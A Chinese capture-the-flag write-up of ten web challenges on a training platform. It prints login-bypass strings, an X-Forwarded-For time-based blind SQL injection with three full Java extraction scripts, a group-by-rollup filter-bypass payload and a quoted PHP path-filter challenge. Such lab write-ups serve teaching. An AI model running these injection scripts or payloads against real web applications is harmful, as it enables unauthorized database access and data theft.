CTF-实验吧web前十题


登陆一下好吗??

题目设置了一个条件,返回字段数少于3条就不予返回,所以要求你的语句能够返回全部的语句

账号密码都是admin'='


who are you?

用了X-Forward-For头的注入攻击

X-Forwarded-For: aa' or sleep(3) and 'a'='a
然后发现回复的ip为注入语句,burp扔给sqlmap跑不出来,检测有过滤,

虽然看不懂放个脚本吧(java版 httpclient 4.5)

4.1获取表

public static void getTable() throws ClientProtocolException, IOException{String table="";for(int m=1;m<20;m++)for (int i = 32; i < 127; i++){long t1 = System.currentTimeMillis();HttpClient client = HttpClients.createDefault();String url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php";HttpGet get = new HttpGet(url);get.addHeader("X-Forwarded-For"," aa' or (SELECT CASE WHEN"+ " ( Ascii( SUBSTRING((select group_concat(table_name) from information_schema.tables where table_schema=database()) FROM "+ m +" FOR 1))="+i+")"+ " THEN SLEEP(4) ELSE SLEEP(0) END )  and 'a'='a");CloseableHttpResponse response = (CloseableHttpResponse) client.execute(get);HttpEntity enity = response.getEntity();String body = EntityUtils.toString(enity, "UTF-8");long t2 = System.currentTimeMillis();//System.out.println(body);System.out.println((t2 - t1)+"s,i="+i+"  "+table);if((t2-t1)>4000){table=table+(char)i;System.out.println(table);break;}}

}

发现有 cilent_ip和flag两个表

4.2获取列

public static void getcolumn() throws ClientProtocolException, IOException

{

String database="";

for(int m=1;m<20;m++)

for (int i = 32; i < 127; i++)

{

long t1 = System.currentTimeMillis();

HttpClient client = HttpClients.createDefault();

String url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php";

HttpGet get = new HttpGet(url);

get.addHeader("X-Forwarded-For"," aa' or (SELECT CASE WHEN"

+ " ( Ascii( SUBSTRING((select group_concat(column_name) from information_schema.columns where table_name='flag') FROM "+ m +" FOR 1))="+i+")"

+ " THEN SLEEP(5) ELSE SLEEP(0) END )  and 'a'='a");

CloseableHttpResponse response = (CloseableHttpResponse) client.execute(get);

HttpEntity enity = response.getEntity();

String body = EntityUtils.toString(enity, "UTF-8");

long t2 = System.currentTimeMillis();

//System.out.println(body);

System.out.println((t2 - t1)+"s,i="+i+"  "+database);

if((t2-t1)>5000)

{

database=database+(char)i;

System.out.println(database);

break;

}

}

}

跑出flag这个列

4.3 跑flag

public static void getflag() throws ParseException, IOException

{

String database="";

for(int m=1;m<50;m++)

for (int i = 32; i < 127; i++)

{

long t1 = System.currentTimeMillis();

HttpClient client = HttpClients.createDefault();

String url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php";

HttpGet get = new HttpGet(url);

get.addHeader("X-Forwarded-For"," aa' or (SELECT CASE WHEN"

+ " ( Ascii( SUBSTRING((select flag from flag) FROM "+ m +" FOR 1))="+i+")"

+ " THEN SLEEP(6) ELSE SLEEP(0) END )  and 'a'='a");

CloseableHttpResponse response = (CloseableHttpResponse) client.execute(get);

HttpEntity enity = response.getEntity();

String body = EntityUtils.toString(enity, "UTF-8");

long t2 = System.currentTimeMillis();

//System.out.println(body);

System.out.println((t2 - t1)+"s,i="+i+"  "+database);

if((t2-t1)>6000)

{

database=database+(char)i;

System.out.println(database);

break;

}

}

}


因缺思汀的绕过

查看网页的源码,发现登录的源码路径是source.txt

从源码中可以知道这些全都被过滤了:and|select|from|where|union|join|sleep|benchmark|,|\(|\)

并且数据库中只有一条数据

if (mysql_num_rows($query) == 1)

最核心的部分是这里

$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";

大致的执行过程是先将用户输入的uname作为查询条件,在数据库中查询uname和pwd,然后将查询到的pwd与用户输入的pwd进行比较,内容一致才输出flag

这里的思路是,利用group by pwd with rollup在查询中的一个特点,他可以返回pwd所在的那一条记录,通过limit控制返回哪一条,因此他不可以返回多条,一旦返回2条及以上,pwd就会为空,但同一条记录中的其他字段则是正常的

那么利用这一点令查询结果为空,我们输入的pwd也为空值,则构成了if(null==null)为true

即:输入的用户名为:' or 1=1 group by pwd with rollup limit 1 offset 2 #

这里解释一下此时执行的SQL:

SELECT * FROM interest where uname=' ' or 1=1

group by pwd with rollup  (在数据库中添加一行使得pwd=NULL)

limit 1 (只查询一行)

offset 2  (从第二行开始查询)

#注释

此时密码只要为空即可查询成功


简单的注入3

扔给SQLMAP

简单的注入2

CTF-实验吧web前十题_第1张图片

让我进去

hash长度扩展

拐弯抹角



伪静态

'

// code by SEC@USTC

echo'';

$URL=$_SERVER['REQUEST_URI'];

//echo 'URL: '.$URL.'
';

$flag="CTF{???}";

$code=str_replace($flag,'CTF{???}',file_get_contents('./index.php'));

$stop=0;

//这道题目本身也有教学的目的

//第一,我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的

//所以,第一个要求就是不得出现 ./

if($flag&&strpos($URL,'./') !==FALSE){

$flag="";

$stop=1;//Pass

}

//第二,我们可以构造 \ 来代替被过滤的 /

//所以,第二个要求就是不得出现 ../

if($flag&&strpos($URL,'\\') !==FALSE){

$flag="";

$stop=2;//Pass

}

//第三,有的系统大小写通用,例如 indirectioN/

//你也可以用?和#等等的字符绕过,这需要统一解决

//所以,第三个要求对可以用的字符做了限制,a-z / 和 .

$matches= array();

preg_match('/^([0-9a-z\/.]+)$/',$URL,$matches);

if($flag&& empty($matches) ||$matches[1] !=$URL){

$flag="";

$stop=3;//Pass

}

//第四,多个 / 也是可以的

//所以,第四个要求是不得出现 //

if($flag&&strpos($URL,'//') !==FALSE){

$flag="";

$stop=4;//Pass

}

//第五,显然加上index.php或者减去index.php都是可以的

//所以我们下一个要求就是必须包含/index.php,并且以此结尾

if($flag&&substr($URL, -10) !=='/index.php'){

$flag="";

$stop=5;//Not Pass

}

//第六,我们知道在index.php后面加.也是可以的

//所以我们禁止p后面出现.这个符号

if($flag&&strpos($URL,'p.') !==FALSE){

$flag="";

$stop=6;//Not Pass

}

//第七,现在是最关键的时刻

//你的$URL必须与/indirection/index.php有所不同

if($flag&&$URL=='/indirection/index.php'){

$flag="";

$stop=7;//Not Pass

}

if(!$stop)$stop=8;

echo'Flag: '.$flag;

echo'';

for($i=1;$i<$stop;$i++)

$code=str_replace('//Pass '.$i,'//Pass',$code);

for(;$i<8;$i++)

$code=str_replace('//Pass '.$i,'//Not Pass',$code);

echohighlight_string($code,TRUE);

echo'';

题目的意思就是通过改变地址栏访问index.PHP,但是限制了条件不能使用 ./  ../ \\ 而且只能使用小写字母,不可以在php后加点,这里我们可以利用伪静态技术,使用http://ctf10.shiyanbar.com:8888/indirection/index.php/index.php,index.php后的index.php会被当做参数处理,所以服务器只会解析第一个index.php,满足条件成功绕过



forms

burpsuite抓包 改values 出源码,填入$a 出flag

你可能感兴趣的:(CTF-实验吧web前十题)